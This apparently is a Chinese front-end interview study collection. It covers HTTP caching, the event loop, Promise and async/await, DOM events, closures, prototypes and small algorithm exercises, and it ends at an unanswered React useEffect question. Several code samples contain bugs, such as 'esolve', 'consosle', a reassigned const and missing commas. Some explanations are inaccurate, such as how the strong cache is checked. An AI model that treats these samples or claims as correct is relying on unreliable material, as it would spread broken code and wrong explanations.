    • 为什么需要缓存?减少网络请求(网络请求不稳定性),让页面渲染更快
    • 哪些资源可以被缓存?静态资源(js css imgwebpack打包加contenthash根据内容生成hash
  • http缓存策略(强制缓存 + 协商缓存)
    • 强制缓存
      • 服务端在Response Headers中返回给客户端
      • Cache-Controlmax-age=31536000(单位:秒)一年
      • Cache-Control的值
        • max-age(常用)缓存的内容将在max-age秒后失效
        • no-cache(常用)不要本地强制缓存,正常向服务端请求(只要服务端最新的内容)。需要使用协商缓存来验证缓存数据(Etag Last-Modified
        • no-store 不要本地强制缓存,也不要服务端做缓存,所有内容都不会缓存,强制缓存和协商缓存都不会触发
        • public 所有内容都将被缓存(客户端和代理服务器都可缓存)
        • private 所有内容只有客户端可以缓存
      • Expires
        • ExpiresThu, 31 Dec 2037 23:55:55 GMT(过期时间)
        • 已被Cache-Control代替
      • Expires和Cache-Control的区别
        • ExpiresHTTP1.0的产物,Cache-ControlHTTP1.1的产物
        • Expires是服务器返回的具体过期时间,Cache-Control是相对时间
        • Expires存在兼容性问题,Cache-Control优先级更高
      • 强制缓存的优先级高于协商缓存
      • 强制缓存的流程
        • 浏览器第一次请求资源,服务器返回资源和Cache-Control Expires
        • 浏览器第二次请求资源,会带上Cache-Control Expires,服务器根据这两个值判断是否命中强制缓存
        • 命中强制缓存,直接从缓存中读取资源,返回给浏览器
        • 未命中强制缓存,会带上If-Modified-Since If-None-Match,服务器根据这两个值判断是否命中协商缓存
        • 命中协商缓存,返回304,浏览器直接从缓存中读取资源
        • 未命中协商缓存,返回200,浏览器重新请求资源
      • 强制缓存的流程图
    • 协商缓存
      • 服务端缓存策略
      • 服务端判断客户端资源,是否和服务端资源一样
      • 如果判断一致则返回304(不在返回js、图片内容等资源),否则返回200和最新资源
      • 服务端怎么判断客户端资源一样? 根据资源标识
        • Response Headers中,有两种
        • Last-ModifiedEtag会优先使用EtagLast-Modified只能精确到秒级,如果资源被重复生成而内容不变,则Etag更准确
        • Last-Modified 服务端返回的资源的最后修改时间
          • If-Modified-Since 客户端请求时,携带的资源的最后修改时间(即Last-Modified的值)
        • Etag服务端返回的资源的唯一标识(一个字符串,类似指纹)
          • If-None-Matche 客户端请求时,携带的资源的唯一标识(即Etag的值)
        • Headers示例
        • 请求示例 通过EtagLast-Modified命中缓存,没有返回资源,返回304,体积非常小
    • HTTP缓存总结
  • 刷新操作方式,对缓存的影响
    • 正常操作:地址栏输入url,跳转链接,前进后退
    • 手动操作:F5,点击刷新,右键菜单刷新
    • 强制刷新:ctrl + F5command + r
  • 不同刷新操作,不同缓存策略
    • 正常操作:强缓存有效,协商缓存有效
    • 手动操作:强缓存失效,协商缓存有效
    • 强制刷新:强缓存失效,协商缓存失效
  • 小结
    • 强缓存Cache-ContorlExpired(弃用)
    • 协商缓存Last-Modified/If-Modified-SinceEtag/If-None-Matche304状态码
    • 完整流程图

从输入URL到显示出页面的整个过程

  • 下载资源:各个资源类型,下载过程
  • 加载过程
    • DNS解析:域名 => IP地址
    • 浏览器根据IP地址向服务器发起HTTP请求
    • 服务器处理HTTP请求,并返回浏览器
  • 渲染过程
    • 根据HTML生成DOM Tree
    • 根据CSS生成CSSOM
    • DOM TreeCSSOM整合形成Render Tree,根据Render Tree渲染页面
    • 遇到<script>暂停渲染,优先加载并执行JS代码,执行完在解析渲染(JS线程和渲染线程共用一个线程,JS执行要暂停DOM渲染)
    • 直至把Render Tree渲染完成

window.onload和DOMContentLoaded

  • window.onload 页面的全部资源加载完才会执行,包括图片、视频等
  • DOMContentLoaded 渲染完即可,图片可能尚未下载
window.addEventListener('load',function() {
  // 页面的全部资源加载完才会执行,包括图片、视频等
})
window.addEventListener('DOMContentLoaded',function() {
  // DOM渲染完才执行,此时图片、视频等可能还没有加载完
})

演示

<p>一段文字 1</p>
<p>一段文字 2</p>
<p>一段文字 3</p>
<img
    id="img1"
    src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1570191150419&di=37b1892665fc74806306ce7f9c3f1971&imgtype=0&src=http%3A%2F%2Fimg.pconline.com.cn%2Fimages%2Fupload%2Fupc%2Ftx%2Fitbbs%2F1411%2F13%2Fc14%2F26229_1415883419758.jpg"
/>

<script>
  const img1 = document.getElementById('img1')
  img1.onload = function () {
    console.log('img loaded')
  }

  window.addEventListener('load', function () {
    console.log('window loaded')
  })

  document.addEventListener('DOMContentLoaded', function () {
    console.log('dom content loaded')
  })

  // 结果
  // dom content loaded
  // img loaded
  // window loaded
</script>

拓展:关于Restful API

  • 一种新的API设计方法
  • 传统API设计:把每个url当做一个功能
  • Restful API设计:把每个url当前一个唯一的资源
    • 如何设计成一个资源
      • 尽量不用url参数
        • 传统API设计:/api/list?pageIndex=2
        • Restful API设计:/api/list/2
      • method表示操作类型
        • 传统API设计:
          • post新增请求:/api/create-blog
          • post更新请求:/api/update-blog?id=100
          • post删除请求:/api/delete-blog?id=100
          • get请求:/api/get-blog?id=100
        • Restful API设计:
          • post新增请求:/api/blog
          • patch更新请求:/api/blog/100
          • delete删除请求:/api/blog/100
          • get请求:/api/blog/100

# 第173题 DOM和事件操作总结

DOM节点操作

const div1 = document.getElementById('div1')
console.log('div1', div1)

const divList = document.getElementsByTagName('div') // 集合
console.log('divList.length', divList.length)
console.log('divList[1]', divList[1])

const containerList = document.getElementsByClassName('container') // 集合
console.log('containerList.length', containerList.length)
console.log('containerList[1]', containerList[1])

const pList = document.querySelectorAll('p')
console.log('pList', pList)

const pList = document.querySelectorAll('p')
const p1 = pList[0]

// property 形式
p1.style.width = '100px'
console.log( p1.style.width )
p1.className = 'red'
console.log( p1.className )
console.log(p1.nodeName)
console.log(p1.nodeType) // 1

// attribute
p1.setAttribute('data-name', 'imooc')
console.log( p1.getAttribute('data-name') )
p1.setAttribute('style', 'font-size: 50px;')
console.log( p1.getAttribute('style') )

propery和attribute

  • propery:修改对象属性,不会体现到HTML结构中
  • attribute:修改HTML属性,会改变HTML结构

DOM结构操作

const div1 = document.getElementById('div1')
const div2 = document.getElementById('div2')

// 新建节点
const newP = document.createElement('p')
newP.innerHTML = 'this is newP'
// 插入节点
div1.appendChild(newP)

// 移动节点
const p1 = document.getElementById('p1')
div2.appendChild(p1)

// 获取父元素
console.log( p1.parentNode )

// 获取子元素列表
const div1ChildNodes = div1.childNodes
console.log( div1.childNodes )
const div1ChildNodesP = Array.prototype.slice.call(div1.childNodes).filter(child => {
  if (child.nodeType === 1) {
    return true
  }
  return false
})
console.log('div1ChildNodesP', div1ChildNodesP)

div1.removeChild( div1ChildNodesP[0] )

DOM性能

// 将频繁操作改为一次性操作

const list = document.getElementById('list')

// 创建一个文档片段,此时还没有插入到 DOM 结构中
const frag = document.createDocumentFragment()

for (let i  = 0; i < 20; i++) {
  const li = document.createElement('li')
  li.innerHTML = `List item ${i}`

  // 先插入文档片段中
  frag.appendChild(li)
}

// 都完成之后,再统一插入到 DOM 结构中
list.appendChild(frag)

console.log(list)

事件

// 通用的事件绑定函数
// function bindEvent(elem, type, fn) {
//   elem.addEventListener(type, fn)
// }
function bindEvent(elem, type, selector, fn) {
  if (fn == null) {
    fn = selector
    selector = null
  }
  elem.addEventListener(type, event => {
    const target = event.target
    if (selector) {
      // 代理绑定
      if (target.matches(selector)) {
        fn.call(target, event)
      }
    } else {
      // 普通绑定
      fn.call(target, event)
    }
  })
}

// 普通绑定
const btn1 = document.getElementById('btn1')
bindEvent(btn1, 'click', function (event) {
  // console.log(event.target) // 获取触发的元素
  event.preventDefault() // 阻止默认行为
  alert(this.innerHTML)
})

// 代理绑定
const div3 = document.getElementById('div3')
bindEvent(div3, 'click', 'a', function (event) {
  event.preventDefault()
  alert(this.innerHTML)
})
// 测试

const p1 = document.getElementById('p1')
bindEvent(p1, 'click', event => {
  event.stopPropagation() // 阻止冒泡
  console.log('激活')
})
const body = document.body
bindEvent(body, 'click', event => {
  console.log('取消')
  // console.log(event.target)
})
const div2 = document.getElementById('div2')
bindEvent(div2, 'click', event => {
  console.log('div2 clicked')
  console.log(event.target)
})

# 第172题 Event Loop执行机制过程

  • 同步代码一行行放到Call Stack执行,执行完就出栈
  • 遇到异步优先记录下,等待时机(定时、网络请求)
  • 时机到了就移动到Call Queue(宏任务队列)
    • 如果遇到微任务(如promise.then)放到微任务队列
    • 宏任务队列和微任务队列是分开存放的
      • 因为微任务是ES6语法规定的
      • 宏任务(setTimeout)是浏览器规定的
  • 如果Call Stack为空,即同步代码执行完,Event Loop开始工作
    • Call Stack为空,尝试先DOM渲染,在触发下一次Event Loop
  • 轮询查找Event Loop,如有则移动到Call Stack
  • 然后继续重复以上过程(类似永动机)

DOM事件和Event Loop

DOM事件会放到Web API中等待用户点击,放到Call Queue,在移动到Call Stack执行

  • JS是单线程的,异步(setTimeoutAjax)使用回调,基于Event Loop
  • DOM事件也使用回调,DOM事件非异步,但也是基于Event Loop实现

宏任务和微任务

  • 介绍
    • 宏任务:setTimeoutsetIntervalDOM事件、Ajax
    • 微任务:Promise.thenasync/await
    • 微任务比宏任务执行的更早
    console.log(100)
    setTimeout(() => {
      console.log(200)
    })
    Promise.resolve().then(() => {
      console.log(300)
    })
    console.log(400)
    // 100 400 300 200
    
  • event loop 和 DOM 渲染
    • 每次call stack清空(每次轮询结束),即同步代码执行完。都是DOM重新渲染的机会,DOM结构如有改变重新渲染
    • 再次触发下一次Event Loop
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
                .append($p1)
                .append($p2)
                .append($p3)
    
    console.log('length',  $('#container').children().length )
    alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染')
    // (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果)
    // 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预
    
    // 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了
    setTimeout(function () {
      alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了')
    })
    
  • 宏任务和微任务的区别
    • 宏任务:DOM 渲染后再触发,如setTimeout
    • 微任务:DOM 渲染前会触发,如Promise
    // 修改 DOM
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
        .append($p1)
        .append($p2)
        .append($p3)
    
    // 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染)
    // Promise.resolve().then(() => {
    //     const length = $('#container').children().length
    //     alert(`micro task ${length}`) // DOM渲染了?No
    // })
    
    // 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染)
    setTimeout(() => {
      const length = $('#container').children().length
      alert(`macro task ${length}`) // DOM渲染了?Yes
    })
    

再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?

  • 微任务ES 语法标准之内,JS 引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。
  • 宏任务ES 语法没有,JS 引擎不处理,浏览器(或 nodejs)干预处理。

# 第171题 async/await异步总结

知识点总结

  • promise.then链式调用,但也是基于回调函数
  • async/await是同步语法,彻底消灭回调函数

async/await和promise的关系

  • 执行async函数,返回的是promise
async function fn2() {
  return new Promise(() => {})
}
console.log( fn2() )

async function fn1() {
  return 100
}
console.log( fn1() ) // 相当于 Promise.resolve(100)
  • await相当于promisethen
  • try catch可捕获异常,代替了promisecatch
  • await 后面跟 Promise 对象:会阻断后续代码,等待状态变为 fulfilled ,才获取结果并继续执行
  • await 后续跟非 Promise 对象:会直接返回
(async function () {
  const p1 = new Promise(() => {})
  await p1
  console.log('p1') // 不会执行
})()

(async function () {
  const p2 = Promise.resolve(100)
  const res = await p2
  console.log(res) // 100
})()

(async function () {
  const res = await 100
  console.log(res) // 100
})()

(async function () {
  const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
  const res = await p3 // await 相当于then
  console.log(res) // 不会执行
})()
  • try...catch 捕获 rejected 状态
(async function () {
    const p4 = Promise.reject('some err')
    try {
      const res = await p4
      console.log(res)
    } catch (ex) {
      console.error(ex)
    }
})()

总结来看:

  • async 封装 Promise
  • await 处理 Promise 成功
  • try...catch 处理 Promise 失败

异步本质

await 是同步写法,但本质还是异步调用。

async function async1 () {
  console.log('async1 start')
  await async2()
  console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
  // 类似于Promise.resolve().then(()=>console.log('async1 end'))
}

async function async2 () {
  console.log('async2')
}

console.log('script start')
async1()
console.log('script end')

// 打印
// script start
// async1 start
// async2
// script end
// async1 end
async function async1 () {
  console.log('async1 start') // 2
  await async2()

  // await后面的下面三行都是异步回调callback的内容
  console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
  // 类似于Promise.resolve().then(()=>console.log('async1 end'))
  await async3()
  
  // await后面的下面1行都是异步回调callback的内容
  console.log('async1 end2') // 7
}

async function async2 () {
  console.log('async2') // 3
}
async function async3 () {
  console.log('async3') // 6
}

console.log('script start') // 1
async1()
console.log('script end') // 4

即,只要遇到了 await ,后面的代码都相当于放在 callback(微任务) 里。

执行顺序问题

网上很经典的面试题

async function async1 () {
  console.log('async1 start')
  await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
  console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
}

async function async2 () {
  console.log('async2')
}

console.log('script start')

setTimeout(function () { // 异步,宏任务
  console.log('setTimeout')
}, 0)

async1()

new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
  console.log('promise1') // Promise 的函数体会立刻执行
  resolve()
}).then (function () { // 异步,微任务
  console.log('promise2')
})

console.log('script end')

// 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
// 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
// 2. setTimeout —— 宏任务(先注册先执行)
// 3. then —— 微任务

// 同步代码执行完毕(event loop - call stack被清空)
// 执行微任务
// 尝试DOM渲染
// 触发event loop执行宏任务

// 输出
// script start 
// async1 start  
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout

关于for...of

  • for in以及forEach都是常规的同步遍历
  • for of用于异步遍历
// 定时算乘法
function multi(num) {
  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(num * num)
    }, 1000)
  })
}

// 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
function test1 () {
  const nums = [1, 2, 3];
  nums.forEach(async x => {
    const res = await multi(x);
    console.log(res); // 一次性打印
  })
}
test1();

// 使用 for...of ,可以让计算挨个串行执行
async function test2 () {
  const nums = [1, 2, 3];
  for (let x of nums) {
    // 在 for...of 循环体的内部,遇到 await 会挨个串行计算
    const res = await multi(x)
    console.log(res) // 依次打印
  }
}
test2()

# 第170题 Promise异步总结

知识点总结

  • 三种状态
    • pendingfulfilled(通过resolve触发)、rejected(通过reject触发)
    • pending => fulfilled或者pending => rejected
    • 状态变化不可逆
  • 状态的表现和变化
    • pending状态,不会触发thencatch
    • fulfilled状态会触发后续的then回调
    • rejected状态会触发后续的catch回调
  • then和catch对状态的影响(重要)
    • then正常返回fulfilled,里面有报错返回rejected
    const p1 = Promise.resolve().then(()=>{
      return 100
    })
    console.log('p1', p1) // fulfilled会触发后续then回调
    p1.then(()=>{
      console.log(123)
    }) // 打印123
    
    const p2 = Promise.resolve().then(()=>{
      throw new Error('then error')
    })
    // p2是rejected会触发后续catch回调
    p2.then(()=>{
      console.log(456)
    }).catch(err=>{
      console.log(789)
    })
    // 打印789
    
    • catch正常返回fulfilled,里面有报错返回rejected
    const p1 = Promise.reject('my error').catch(()=>{
      console.log('catch error')
    })
    p1.then(()=>{
      console.log(1)
    })
    // console.log(p1) p1返回fulfilled 触发then回调
    const p2 = Promise.reject('my error').catch(()=>{
      throw new Error('catch error')
    })
    // console.log(p2) p2返回rejected 触发catch回调
    p2.then(()=>{
      console.log(2)
    }).catch(()=>{
      console.log(3)
    })
    

promise then和catch的链接

// 第一题
Promise.resolve()
.then(()=>console.log(1))// 状态返回fulfilled
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,3
// 整个执行完没有报错,状态返回fulfilled

// 第二题
Promise.resolve()
.then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
  console.log(1)
  throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,2,3
// 整个执行完没有报错,状态返回fulfilled

// 第三题
Promise.resolve()
.then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
  console.log(1)
  throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
.catch(()=>console.log(3)) // 1,2
// 整个执行完没有报错,状态返回fulfilled

# 第169题 手写Promise加载一张图片

function loadImg(src) {
  return new Promise(
    (resolve, reject) => {
      const img = document.createElement('img')
      img.onload = () => {
          esolve(img)
      }
      img.onerror = () => {
        const err = new Error(`图片加载失败 ${src}`)
        reject(err)
      }
      img.src = src
    }
  )
}
// 测试

const url = 'https://s.poetries.top/uploads/2022/07/ee7310c4f45b9bd6.png'
loadImg(url).then(img => {
  console.log(img.width)
  return img
}).then(img => {
  console.log(img.height)
}).catch(ex => console.error(ex))

const url1 = 'https://s.poetries.top/uploads/2022/07/ee7310c4f45b9bd6.png'
const url2 = 'https://s.poetries.top/images/20210414100319.png'

loadImg(url1).then(img1 => {
  console.log(img1.width)
  return img1 // 普通对象
}).then(img1 => {
  console.log(img1.height)
  return loadImg(url2) // promise 实例
}).then(img2 => {
  console.log(img2.width)
  return img2
}).then(img2 => {
  console.log(img2.height)
}).catch(ex => console.error(ex))

# 第168题 创建10个a标签,点击弹出对应的序号

// 本题考察闭包

let a
for (let i = 0; i < 10; i++) { // 使用let定义块级作用域
  a = document.createElement('a')
  a.innerHTML = i + '<br>'
  a.addEventListener('click', function (e) {
    e.preventDefault()
    alert(i)
  })
  document.body.appendChild(a)
}

# 第167题 闭包读代码题输出

// 函数作为返回值
function create() {
  const a = 100
  return function () {
    console.log(a)
  }
}

const fn = create()
const a = 200
fn() // 输出什么?

// 函数作为参数被传递
function print(fn) {
  const a = 200
  fn()
}
const a = 100
function fn() {
  console.log(a)
}
print(fn) //输出什么?
答案

答案:100100

  • 所有的自由变量的查找,是在函数定义的地方,向上级作用域查找
  • 不是在执行的地方!

闭包的应用:隐藏数据不被外界访问

// 闭包隐藏数据,只提供 API
function createCache() {
  const data = {} // 闭包中的数据,被隐藏,不被外界访问
  return {
    set: function (key, val) {
      data[key] = val
    },
    get: function (key) {
      return data[key]
    }
  }
}

const c = createCache()
c.set('a', 100)
console.log( c.get('a') )

# 第166题 实现简易版jQuery

class jQuery {
  constructor(selector) {
    const result = document.querySelectorAll(selector)
    const length = result.length
    for (let i = 0; i < length; i++) {
      this[i] = result[i]
    }
    this.length = length
    this.selector = selector
  }
  get(index) {
      return this[index]
  }
  each(fn) {
    for (let i = 0; i < this.length; i++) {
      const elem = this[i]
      fn(elem)
    }
  }
  on(type, fn) {
    return this.each(elem => {
      elem.addEventListener(type, fn, false)
    })
  }
  // 扩展很多 DOM API
}

// 插件
jQuery.prototype.dialog = function (info) {
  alert(info)
}

// “造轮子”
class myJQuery extends jQuery {
  constructor(selector) {
    super(selector)
  }
  // 扩展自己的方法
  addClass(className) {

  }
  style(data) {
      
  }
}
// 测试

const $p = new jQuery('p')
$p.get(1)
$p.each((elem) => console.log(elem.nodeName))
$p.on('click', () => alert('clicked'))

# 第165题 原型与原型链

原型关系

  • 每个class都有显示原型prototype
  • 每个实例都有隐式原型__proto__
  • 实例的__proto__指向classprototype

// 父类
class People {
    constructor(name) {
      this.name = name
    }
    eat() {
      console.log(`${this.name} eat something`)
    }
}

// 子类
class Student extends People {
  constructor(name, number) {
    super(name)
    this.number = number
  }
  sayHi() {
    console.log(`姓名 ${this.name} 学号 ${this.number}`)
  }
}

// 实例
const xialuo = new Student('夏洛', 100)
console.log(xialuo.name)
console.log(xialuo.number)
xialuo.sayHi()
xialuo.eat()

基于原型的执行规则

获取属性xialuo.name或执行方法xialuo.sayhi时,先在自身属性和方法查找,找不到就去__proto__中找

原型链

People.prototype === Student.prototype.__proto__

# 第164题 两个数组求交集和并集

const arr1 = [1,3,4,6,7]
const arr2 = [2,5,3,6,1]

function getIntersection(arr1, arr2) {
  // 交集
}
function getUnion(arr1, arr2) {
  // 并集
}
答案
// 交集
function getIntersection(arr1, arr2) {
  const res = new Set()
  const set2 = new Set(arr2)
  for(let item of arr1) {
    if(set2.has(item)) { // 考虑性能:这里使用set的has比数组的includes快很多
      res.add(item) 
    }
  }
  return Array.from(res) // 转为数组返回
}

// 并集
function getUnion(arr1, arr2) {
  const res = new Set(arr1)
  for(let item of arr2) {
    res.add(item) // 利用set的去重功能
  }
  return Array.from(res) // 转为数组返回
}
// 测试

const arr1 = [1,3,4,6,7]
const arr2 = [2,5,3,6,1]
console.log('交集', getIntersection(arr1, arr2)) // 1,3,6
console.log('并集', getUnion(arr1, arr2)) // 1,3,4,6,7,2,5

# 第163题 JS反转字符串

实现字符串A1B2C3反转为3C2B1A

// 方式1:str.split('').reverse().join('')

// 方式2:使用栈来实现
function reverseStr(str) {
  const stack = []
  for(let c of str) {
    stack.push(c) // 入栈
  }
  let newStr = ''
  let c = ''
  while(c = stack.pop()) { // 出栈 
    newStr += c // 出栈再拼接
  }
  return newStr
}

// 测试
console.log(reverseStr('A1B2C3')) // 3C2B1A

# 第162题 从零搭建开发环境需要考虑什么

  • 代码仓库,发布到哪个npm仓库(如有需要)
  • 技术选型,VueReact
  • 代码目录规范
  • 打包构建webpack等,做打包优化
  • eslintprettiercommit-lint
  • pre-commit 提交前检查(在调用git commit 命令时自动执行某些脚本检测代码,若检测出错,则阻止commit代码,也就无法push
  • 单元测试
  • CI/CD流程(如搭建jenkins部署项目)
  • 开发环境、预发布环境
  • 编写开发文档

# 第161题 手写Vue3基本响应式原理

// 实现
function reactive(obj) {/**todo**/}
function effect(fn) {/**todo**/}

// 使用
const user = reactive({name: 'poetries'})
effect(() => {console.log('name', user.name)})
// 修改属性,自动触发effect内部函数执行
user.name = '张三'
setTimeout(()=>{ user.name = '李四'})
答案
// 简单实现

var fns = new Set()
var activeFn

function reactive(obj) {
  return new Proxy(obj, {
    get(target, key, receiver) {
      const res = Reflect.get(target,key,receiver) // 相当于target[key]

      // 懒递归 取值才执行
      if(typeof res === 'object' && res != null) {
        return reactive(res)
      }

      if(activeFn) fns.add(activeFn)

      return res
    },
    set(target,key, value, receiver) {
      fns.forEach(fn => fn()) // 触发effect订阅的回调函数的执行
      return Reflect.set(target, key, value, receiver)
    }
  })
}

function effect(fn) {
  activeFn = fn
  fn() // 执行一次去取值,触发proxy get
}
// 测试

var user = reactive({name: 'poetries',info:{age: 18}})
effect(() => {console.log('name', user.name)})
// 修改属性,自动触发effect内部函数执行
user.name = '张三'
// user.info.age = 10 // 修改深层次对象
setTimeout(()=>{ user.name = '李四'}) 

# 第160题 实现机器人走方格

如下图,有m*n个格子,一个人从左上角start位置,每次只能向下或向右移动一步。要走到右下角finish位置,总共有多少条路径

实现

  • 如果只走第一行就只有一条路径
  • 如果只走第一列,也只有一条路径
  • 其他走法,根据这个公式 map[i][j] = map[i-1][j] + map[i][j-1],如走到[5,4]的路径数,就是[4,4][5,3]的路径数之和 -- 动态规划的思想

// m行 n列
function getPaths(m, n) {
  // m * n二维数组,模拟网格
  const map = new Array(m)
  for(let i = 0; i < m; i++) {
    map[i] = new Array(n) // 行对应的列
  } 
  // 如果只走第一行就只有一条路径,所以第一行所有item都填充1
  map[0].fill(1)

  // 如果只走第一列,也只有一条路径。所以第一行item都填充1
  for(let i = 0; i < m; i++) {
    map[i][0] = 1
  }

  /**此时map结果
   * [
    * [1, 1, 1, 1],
      [1, emptyx3],
      [1, emptyx3],
      [1, emptyx3],
      [1, emptyx3]
     ]
   */
  
  // 其他item,根据这个公式 map[i][j] = map[i-1][j] + map[i][j-1]
  // 如走到[5,4]的路径数,就是[4,4]和[5,3]的路径数之和 -- 动态规划的思想
  // 注意:i和j都是从1开始,因为0的位置已经被上文赋值了
  for(let i = 1; i < m; i++) {
    for(let j = 1; j < n; j++) {
      map[i][j] = map[i-1][j] + map[i][j-1]
    }
  }

  /**此时map结果
   * [
    * [1, 1, 1, 1],
      [1, 2, 3, 4],
      [1, 3, 6, 10],
      [1, 4, 10, 20],
      [1, 5, 15, 35]
     ]
   */

  // 返回完成的节点的路径数
  return map[m-1][n-1]
}

console.log(getPaths(5, 4)) // 35

# 第159题 this读代码题

class Foo{
  f1() {consosle.log('this1',this)}
  f2 = () => {consosle.log('this2',this)}
  f3 = () => {consosle.log('this3',this)}
  static f4() {consosle.log('this4',this)}
}
const f = new Foo()
f.f1()
f.f2()
f.f3.call(this)
Foo.f4()
const user = {
  count:1,
  getCount:function(){
    return this.count
  }
}
console.log(user.getCount()) 
const func = user.getCount
console.log(func())
答案
class Foo{
  f1() {consosle.log('this1',this)}
  f2 = () => {consosle.log('this2',this)}
  f3 = () => {consosle.log('this3',this)} 
  static f4() {consosle.log('this4',this)}
}
const f = new Foo()
f.f1()  // this指向实例
f.f2()  // class中写箭头函数,this指向实例
f.f3.call(this) // 箭头函数 this不能通过call、apply修改
Foo.f4()  // this指向Foo本身
const user = {
  count:1,
  getCount:function(){
    return this.count
  },
  getCount1: () =>{
    // 箭头函数this找父级的this,this指向window
    return this.count
  },
  getCount2:function(){
    setTimeout(()=>{
      console.log(this.count) // 箭头函数this找父级的this,this指向user
    },1000) 
  },
}
console.log(user.getCount())  // 1 this指向user
const func1 = user.getCount
console.log(func1()) // undefined this指向window
const func2 = user.getCount2
console.log(func2()) // undefined this指向window

# 第158题 使用XML描述自定义DSL流程图

xml描述这个流程图

<chart>
  <start-end id="start">开始</start-end>
  <flow id="flow1">流程1</flow>
  <judge id="judge1">评审</judge>
  <flow id="flow2">流程2</flow>
  <start-end id="end">结束</start-end>
  <arrow from="start" to="flow1"></arrow>
  <arrow from="flow1" to="judge1"></arrow>
  <arrow from="judge1" to="flow2">Y</arrow>
  <arrow from="judge1" to="end">N</arrow>
  <arrow from="flow2" to="end"></arrow>
</chart>

# 第157题 JS设计并实现撤销重做功能

分析

  • 维护一个listindex
  • input changepushlistindex++
  • Undoindex-1redoindex+1
<div>
  <input id="input-text" />
  <button id="undo">undo</button>
  <button id="redo">redo</button>
</div>

<script>
  const inputText = document.getElementById("input-text")
  const undo = document.getElementById("undo")
  const redo = document.getElementById("redo")

  const list = [inputText.value] // 初始化列表
  const currIndex = list.length - 1 // 初始化index

  inputText.addEventListener('change', e=>{
    const text = e.target.value

    list.length = currIndex + 1 // 截取掉index后面的部分
    list.push(text)
    currIndex++ // index增加
  })

  undo.addEventListener('click',()=>{
    if(currIndex <= 0) return
    currIndex-- // index减少
    inputText.value = list[currIndex]
  })

  redo.addEventListener('click',()=>{
    if(currIndex >= list.length - 1) return
    currIndex++ // index增加
    inputText.value = list[currIndex]
  })
</script>

# 第156题 根据jsx写出vnode和render函数

<!-- jsx -->
<div className="container">
  <p onClick={onClick} data-name="p1">
    hello <b>{name}</b>
  </p>
  <img src={imgSrc} />
  <MyComponent title={title}></MyComponent>
</div>

注意

  • 注意JSX中的常量和变量
  • 注意JSX中的HTML tag和自定义组件
const vnode = {
  tag: 'div',
  props: {
    className: 'container'
  },
  children: [
    // <p>
    {
      tag: 'p',
      props: {
        dataset: {
          name: 'p1'
        },
        on: {
          click: onClick // 变量
        }
      },
      children: [
        'hello',
        {
          tag: 'b',
          props: {},
          children: [name] // name变量
        }
      ]
    },
    // <img />
    {
      tag: 'img',
      props: {
        src: imgSrc // 变量
      },
      children: [/**无子节点**/]
    },
    // <MyComponent>
    {
      tag: MyComponent, // 变量
      props: {
        title: title, // 变量
      },
      children: [/**无子节点**/]
    }
  ]
}
// render函数
function render() {
  // h(tag, props, children)
  return h('div', {
    props: {
      className: 'container'
    }
  }, [

    // p
    h('p', {
      dataset: {
        name: 'p1'
      },
      on: {
        click: onClick
      }
    }, [
      'hello',
      h('b', {}, [name])
    ])

    // img
    h('img', {
      props: {
        src: imgSrc
      }
    }, [/**无子节点**/])

    // MyComponent
    h(MyComponent, {
      title: title
    }, [/**无子节点**/])
  ]
  )
}

在react中jsx编译后

// 使用https://babeljs.io/repl编译后效果

React.createElement(
  "div",
  {
    className: "container"
  },
  React.createElement(
    "p",
    {
      onClick: onClick,
      "data-name": "p1"
    },
    "hello ",
    React.createElement("b", null, name)
  ),
  React.createElement("img", {
    src: imgSrc
  }),
  React.createElement(MyComponent, {
    title: title
  })
);

# 第155题 手写合并两个递增数组

var arr1 = [1,3,5,7,9]
var arr2 = [2,4,6,8]

// 1.直接用concat+sort 时间复杂度较高,因为有排序,复杂度至少是O(n*logn)
var res1 = arr1.concat(arr2).sort((a,b)=>a-b)
console.log(res1)

// 2.使用双指针,时间复杂度 O(m + n) => O(n)
var res = []
var i = 0
var j = 0

// 只要arr1和arr2还有值继续循环
while(arr1[i] !== null || arr2[j] !== null) {
  const v1 = arr1[i]
  const v2 = arr2[j]

  if(v1 == null && v2 == null) {
    // v1 v2都没有值了 停止
    break;
  }

  if(v1 < v2 || v2 == null) {
    // v1较小则只拼接v1
    res.push(v1)
    i++
  }
  if(v1 > v2 || v1 == null) {
    // v2较小则只拼接v2
    res.push(v2)
    j++
  }
  if(v1 === v2) {
    // v1、v2相等
    res.push(v1)
    i++
    res.push(v2)
    j++
  }
}

console.log(res) // [1,2,3,4,5,6,7,8,9]

# 第154题 React useEffect闭包陷阱问题

问:按钮点击三次后,定时器输出什么?

